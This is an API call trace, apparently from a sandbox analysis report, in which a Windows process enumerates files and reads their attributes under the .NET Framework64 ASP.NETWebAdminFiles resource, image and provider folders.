	[0087.989] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\WebAdminHelp_Security.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\webadminhelp_security.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x12652008 | out: lpFileInformation=0x12652008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfb6950, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddfb6950, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9071ac7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x472d)) returned 1
	[0087.989] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\default.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\default.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x12652058 | out: lpFileInformation=0x12652058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde002c0a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde002c0a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90577d75, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x82f)) returned 1
	[0087.989] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\error.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\error.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x126520a8 | out: lpFileInformation=0x126520a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde04eec4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde04eec4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90577d75, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x556)) returned 1
	[0087.989] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\home0.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\home0.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x126520f8 | out: lpFileInformation=0x126520f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde04eec4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde04eec4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9059ded3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4b4)) returned 1
	[0087.990] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\home1.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\home1.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x12652148 | out: lpFileInformation=0x12652148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde0c12db, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde0c12db, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x905c4031, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x35b)) returned 1
	[0087.990] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\home2.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\home2.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x12652198 | out: lpFileInformation=0x12652198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde09b17e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde09b17e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x905ea18f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x491)) returned 1
	[0087.990] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\navigationBar.ascx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\navigationbar.ascx.resx"), fInfoLevelId=0x0, lpFileInformation=0x126521e8 | out: lpFileInformation=0x126521e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde075021, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde075021, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x906a8865, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x33b)) returned 1
	[0087.991] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images"), fInfoLevelId=0x0, lpFileInformation=0x12652238 | out: lpFileInformation=0x12652238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe849fc6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeefbc98, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeefbc98, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.991] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.991] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe849fc6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeefbc98, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeefbc98, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.994] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.994] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12652a08 | out: lpFileInformation=0x12652a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7fdd51, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7fdd51, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90c75db7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x57e4)) returned 1
	[0087.996] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\HelpIcon_solid.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\helpicon_solid.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652a58 | out: lpFileInformation=0x12652a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7b1a97, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7b1a97, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90d80749, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x58c)) returned 1
	[0087.996] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\alert_lrg.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\alert_lrg.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652aa8 | out: lpFileInformation=0x12652aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7657dd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7657dd, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90c4fc59, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3b8)) returned 1
	[0087.997] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\alert_sml.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\alert_sml.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652af8 | out: lpFileInformation=0x12652af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7657dd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7657dd, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90c4fc59, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x31)) returned 1
	[0087.997] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\aspx_file.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\aspx_file.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652b48 | out: lpFileInformation=0x12652b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb78b93a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb78b93a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90c9bf15, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x79)) returned 1
	[0087.998] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\branding_Full2.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\branding_full2.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652b98 | out: lpFileInformation=0x12652b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7b1a97, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7b1a97, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90c9bf15, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x7ee)) returned 1
	[0087.998] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\darkblue_grad.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12652be8 | out: lpFileInformation=0x12652be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7b1a97, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7b1a97, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90ce81d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2044)) returned 1
	[0087.998] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\deselectedTab_1x1.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\deselectedtab_1x1.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652c38 | out: lpFileInformation=0x12652c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb73f680, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb73f680, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90d0e32f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3d)) returned 1
	[0087.999] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\folder.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\folder.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652c88 | out: lpFileInformation=0x12652c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7657dd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7657dd, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90d0e32f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x392)) returned 1
	[0087.999] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\gradient_onBlue.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\gradient_onblue.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652cd8 | out: lpFileInformation=0x12652cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7b1a97, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7b1a97, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90d3448d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5a)) returned 1
	[0088.000] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\gradient_onWhite.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\gradient_onwhite.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652d28 | out: lpFileInformation=0x12652d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7d7bf4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7d7bf4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90d3448d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5a)) returned 1
	[0088.000] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\headerGRADIENT_Tall.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\headergradient_tall.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652d78 | out: lpFileInformation=0x12652d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7657dd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7657dd, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90d5a5eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x148)) returned 1
	[0088.000] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\help.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\help.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12652dc8 | out: lpFileInformation=0x12652dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7d7bf4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7d7bf4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90d5a5eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x581)) returned 1
	[0088.000] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\image1.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\image1.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652e18 | out: lpFileInformation=0x12652e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb78b93a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb78b93a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90d80749, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa2)) returned 1
	[0088.001] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\image2.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\image2.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652e68 | out: lpFileInformation=0x12652e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7d7bf4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7d7bf4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90da68a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24a)) returned 1
	[0088.001] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\requiredBang.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\requiredbang.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652eb8 | out: lpFileInformation=0x12652eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb78b93a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb78b93a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90e64f7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x7c)) returned 1
	[0088.002] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\security_watermark.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\security_watermark.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12652f08 | out: lpFileInformation=0x12652f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7657dd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7657dd, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90e8b0db, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x31)) returned 1
	[0088.002] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\selectedTab_1x1.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\selectedtab_1x1.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652f58 | out: lpFileInformation=0x12652f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb78b93a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb78b93a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90e8b0db, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x31)) returned 1
	[0088.005] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\selectedTab_leftCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\selectedtab_leftcorner.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652fa8 | out: lpFileInformation=0x12652fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb78b93a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb78b93a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90eb1239, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x41)) returned 1
	[0088.006] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\selectedTab_rightCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\selectedtab_rightcorner.gif"), fInfoLevelId=0x0, lpFileInformation=0x12652ff8 | out: lpFileInformation=0x12652ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb78b93a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb78b93a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90ed7397, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x41)) returned 1
	[0088.006] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\topGradRepeat.jpg" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\topgradrepeat.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12653048 | out: lpFileInformation=0x12653048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7b1a97, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7b1a97, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90ed7397, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x21eb)) returned 1
	[0088.007] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_leftCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\unselectedtab_leftcorner.gif"), fInfoLevelId=0x0, lpFileInformation=0x12653098 | out: lpFileInformation=0x12653098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7d7bf4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7d7bf4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90efd4f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x41)) returned 1
	[0088.007] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\unSelectedTab_rightCorner.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\unselectedtab_rightcorner.gif"), fInfoLevelId=0x0, lpFileInformation=0x126530e8 | out: lpFileInformation=0x126530e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7b1a97, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7b1a97, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90f23653, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x41)) returned 1
	[0088.007] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Images\\yellowCORNER.gif" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\images\\yellowcorner.gif"), fInfoLevelId=0x0, lpFileInformation=0x12653138 | out: lpFileInformation=0x12653138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb7657dd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb7657dd, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90f23653, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x370)) returned 1
	[0088.008] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers"), fInfoLevelId=0x0, lpFileInformation=0x12653188 | out: lpFileInformation=0x12653188*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.008] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\providers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.008] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\Providers\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe870120, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee8988a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee8988a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.009] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
